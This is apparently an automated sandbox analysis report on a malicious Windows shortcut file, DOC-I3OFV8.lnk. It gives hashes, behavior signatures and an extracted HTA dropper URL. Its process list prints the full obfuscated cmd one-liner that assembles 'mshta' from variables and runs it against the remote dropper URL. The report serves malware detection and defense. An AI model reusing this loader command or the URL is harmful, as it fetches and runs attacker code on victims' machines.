Analysis
- max time kernel
148s - max time network
145s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:25
Static task
static1
Behavioral task
behavioral1
Sample
DOC-I3OFV8.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-I3OFV8.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-I3OFV8.lnk
- Size 1KB
- Sample260804-kbnt6sbj4t
- SHA256 d2e0f9ca17008b4367fdf696434145436ee76dba5006eb045a98ef8c897cc526
- MD5 4b177e575a001ab99aee43f0b686205b
- SHA1 469fcf1a1c170c7e75413ef3d7690a23d5442ed9
- SHA512 b72f7a8c2b14c7c9bba2ff63bfb411bc4655ee38192e94cf7965a8a9888c0a41bc3b6da6f509c7a342858eb8753875da3db9c869de7a1437dabfc091992544e8
- TLSH T1453197503EED0624F3B38E7394BB572085BAB85A8D20CA2E0140454C1432A15E17AF6B
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5408 cmd.exe 4516 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4516 wrote to memory of 5408 4516 cmd.exe 89 PID 5408 wrote to memory of 3728 5408 cmd.exe 90
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-I3OFV8.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4516 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /c "set UwV=msh&&set dkg=ta&&start "" !UwV!!dkg! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5408 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:3728
-
-